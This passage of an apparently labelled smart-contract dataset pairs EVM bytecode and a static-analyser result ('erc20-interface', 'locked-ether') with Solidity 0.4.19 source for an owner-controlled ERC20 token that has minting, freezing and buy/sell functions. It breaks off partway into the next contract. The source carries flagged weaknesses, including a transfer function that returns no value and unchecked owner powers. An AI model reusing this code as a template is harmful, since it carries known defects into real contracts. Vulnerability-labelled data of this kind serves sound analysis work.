ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610f18565b604051808215151515815260200191505060405180910390f35b341561040957600080fd5b610435600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506111c5565b6040518082815260200191505060405180910390f35b341561045657600080fd5b61045e61120e565b005b341561046b57600080fd5b6104736113ad565b604051808215151515815260200191505060405180910390f35b341561049857600080fd5b6104a0611473565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156104ed57600080fd5b6104f5611498565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561053557808201518184015260208101905061051a565b50505050905090810190601f1680156105625780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561057b57600080fd5b6105b0600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611536565b604051808215151515815260200191505060405180910390f35b34156105d557600080fd5b61064d600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506116ed565b604051808215151515815260200191505060405180910390f35b341561067257600080fd5b61067a61194f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156106c757600080fd5b6106fc600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611975565b604051808215151515815260200191505060405180910390f35b341561072157600080fd5b610756600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611b8d565b604051808215151515815260200191505060405180910390f35b341561077b57600080fd5b6107c6600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611ccc565b6040518082815260200191505060405180910390f35b34156107e757600080fd5b610813600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611d53565b005b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108ab5780601f10610880576101008083540402835291602001916108ab565b820191906000526020600020905b81548152906001019060200180831161088e57829003601f168201915b505050505081565b6000600160149054906101000a900460ff161515156108d157600080fd5b81600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600660008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460055403905090565b6000600160149054906101000a900460ff16151515610a2a57600080fd5b610a7c82600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611df290919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b4e82600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611df290919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c2082600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e0b90919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b60055481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d4957600080fd5b600160149054906101000a900460ff161515610d6457600080fd5b6000600160146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a16001905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e0f57600080fd5b600082111515610e1e57600080fd5b81610e28336111c5565b10151515610e3557600080fd5b610e5082610e42336111c5565b611df290919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ea882600554611df290919063ffffffff16565b6005819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a260019050919050565b600160149054906101000a900460ff1681565b600080600160149054906101000a900460ff16151515610f3757600080fd5b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115611045576000600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110d9565b6110588382611df290919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561126a57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561140a57600080fd5b600160149054906101000a900460ff1615151561142657600080fd5b60018060146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a16001905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561152e5780601f106115035761010080835404028352916020019161152e565b820191906000526020600020905b81548152906001019060200180831161151157829003601f168201915b505050505081565b6000600160149054906101000a900460ff1615151561155457600080fd5b6115a682600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611df290919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061163b82600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e0b90919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000600160149054906101000a900460ff1615151561170b57600080fd5b82600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b838110156118e65780820151818401526020810190506118cb565b50505050905090810190601f1680156119135780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b151561193457600080fd5b5af1151561194157600080fd5b505050600190509392505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160149054906101000a900460ff1615151561199357600080fd5b611a2282600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e0b90919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611bea57600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515611cad57600080fd5b5af11515611cba57600080fd5b50505060405180519050905092915050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611dae57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211151515611e0057fe5b818303905092915050565b60008183019050828110151515611e1e57fe5b809050929150505600a165627a7a723058207e1cda9fa9d8c94d9290ceae103ccb227943e9c1663fedfa5668d1907ddea4cb0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 2,611 |
0x24b712f49013fb2bd9212b1330e8bff3a60d8b2b
|
pragma solidity ^0.4.19;
contract owned {
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract TokenERC20 {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
function TokenERC20(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
Burn(_from, _value);
return true;
}
}
/******************************************/
/* ADVANCED TOKEN STARTS HERE */
/******************************************/
contract MyAdvancedToken is owned, TokenERC20 {
uint256 public sellPrice;
uint256 public buyPrice;
mapping (address => bool) public frozenAccount;
/* This generates a public event on the blockchain that will notify clients */
event FrozenFunds(address target, bool frozen);
/* Initializes contract with initial supply tokens to the creator of the contract */
function MyAdvancedToken(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) TokenERC20(initialSupply, tokenName, tokenSymbol) public {}
/* Internal transfer, only can be called by this contract */
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead
require (balanceOf[_from] >= _value); // Check if the sender has enough
require (balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows
require(!frozenAccount[_from]); // Check if sender is frozen
require(!frozenAccount[_to]); // Check if recipient is frozen
balanceOf[_from] -= _value; // Subtract from the sender
balanceOf[_to] += _value; // Add the same to the recipient
Transfer(_from, _to, _value);
}
/// @notice Create `mintedAmount` tokens and send it to `target`
/// @param target Address to receive the tokens
/// @param mintedAmount the amount of tokens it will receive
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
Transfer(0, this, mintedAmount);
Transfer(this, target, mintedAmount);
}
/// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens
/// @param target Address to be frozen
/// @param freeze either to freeze it or not
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
/// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth
/// @param newSellPrice Price the users can sell to the contract
/// @param newBuyPrice Price users can buy from the contract
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
/// @notice Buy tokens from contract by sending ether
function buy() payable public {
uint amount = msg.value / buyPrice; // calculates the amount
_transfer(this, msg.sender, amount); // makes the transfers
}
/// @notice Sell `amount` tokens to contract
/// @param amount amount of tokens to be sold
function sell(uint256 amount) public {
require(this.balance >= amount * sellPrice); // checks if the contract has enough ether to buy
_transfer(msg.sender, this, amount); // makes the transfers
msg.sender.transfer(amount * sellPrice); // sends ether to the seller. It's important to do this last to avoid recursion attacks
}
}
|
0x606060405260043610610128576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305fefda71461012d57806306fdde0314610159578063095ea7b3146101e757806318160ddd1461024157806323b872dd1461026a578063313ce567146102e357806342966c68146103125780634b7503341461034d57806370a082311461037657806379c65068146103c357806379cc6790146104055780638620410b1461045f5780638da5cb5b1461048857806395d89b41146104dd578063a6f2ae3a1461056b578063a9059cbb14610575578063b414d4b6146105b7578063cae9ca5114610608578063dd62ed3e146106a5578063e4849b3214610711578063e724529c14610734578063f2fde38b14610778575b600080fd5b341561013857600080fd5b61015760048080359060200190919080359060200190919050506107b1565b005b341561016457600080fd5b61016c61081e565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101ac578082015181840152602081019050610191565b50505050905090810190601f1680156101d95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101f257600080fd5b610227600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506108bc565b604051808215151515815260200191505060405180910390f35b341561024c57600080fd5b610254610949565b6040518082815260200191505060405180910390f35b341561027557600080fd5b6102c9600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061094f565b604051808215151515815260200191505060405180910390f35b34156102ee57600080fd5b6102f6610a7c565b604051808260ff1660ff16815260200191505060405180910390f35b341561031d57600080fd5b6103336004808035906020019091905050610a8f565b604051808215151515815260200191505060405180910390f35b341561035857600080fd5b610360610b93565b6040518082815260200191505060405180910390f35b341561038157600080fd5b6103ad600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610b99565b6040518082815260200191505060405180910390f35b34156103ce57600080fd5b610403600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610bb1565b005b341561041057600080fd5b610445600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610d22565b604051808215151515815260200191505060405180910390f35b341561046a57600080fd5b610472610f3c565b6040518082815260200191505060405180910390f35b341561049357600080fd5b61049b610f42565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156104e857600080fd5b6104f0610f67565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610530578082015181840152602081019050610515565b50505050905090810190601f16801561055d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610573611005565b005b341561058057600080fd5b6105b5600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611025565b005b34156105c257600080fd5b6105ee600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611034565b604051808215151515815260200191505060405180910390f35b341561061357600080fd5b61068b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611054565b604051808215151515815260200191505060405180910390f35b34156106b057600080fd5b6106fb600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506111d2565b6040518082815260200191505060405180910390f35b341561071c57600080fd5b61073260048080359060200190919050506111f7565b005b341561073f57600080fd5b610776600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080351515906020019091905050611273565b005b341561078357600080fd5b6107af600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611398565b005b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561080c57600080fd5b81600781905550806008819055505050565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108b45780601f10610889576101008083540402835291602001916108b4565b820191906000526020600020905b81548152906001019060200180831161089757829003601f168201915b505050505081565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001905092915050565b60045481565b6000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156109dc57600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550610a71848484611436565b600190509392505050565b600360009054906101000a900460ff1681565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610adf57600080fd5b81600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816004600082825403925050819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a260019050919050565b60075481565b60056020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c0c57600080fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550806004600082825401925050819055503073ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a38173ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610d7257600080fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610dfd57600080fd5b81600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816004600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a26001905092915050565b60085481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ffd5780601f10610fd257610100808354040283529160200191610ffd565b820191906000526020600020905b815481529060010190602001808311610fe057829003601f168201915b505050505081565b60006008543481151561101457fe5b049050611022303383611436565b50565b611030338383611436565b5050565b60096020528060005260406000206000915054906101000a900460ff1681565b60008084905061106485856108bc565b156111c9578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561115e578082015181840152602081019050611143565b50505050905090810190601f16801561118b5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15156111ac57600080fd5b6102c65a03f115156111bd57600080fd5b505050600191506111ca565b5b509392505050565b6006602052816000526040600020602052806000526040600020600091509150505481565b60075481023073ffffffffffffffffffffffffffffffffffffffff16311015151561122157600080fd5b61122c333083611436565b3373ffffffffffffffffffffffffffffffffffffffff166108fc60075483029081150290604051600060405180830381858888f19350505050151561127057600080fd5b50565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156112ce57600080fd5b80600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113f357600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008273ffffffffffffffffffffffffffffffffffffffff161415151561145c57600080fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156114aa57600080fd5b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540111151561153857600080fd5b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561159157600080fd5b600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156115ea57600080fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555080600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050505600a165627a7a723058205412c9518cc27de46ecdcaa89d0f57949084973e285c03135081fc595fc298960029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
| 2,612 |
0xe878d5e2bb6bd91bdc2ed54e7f58282eaf9e1e66
|
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
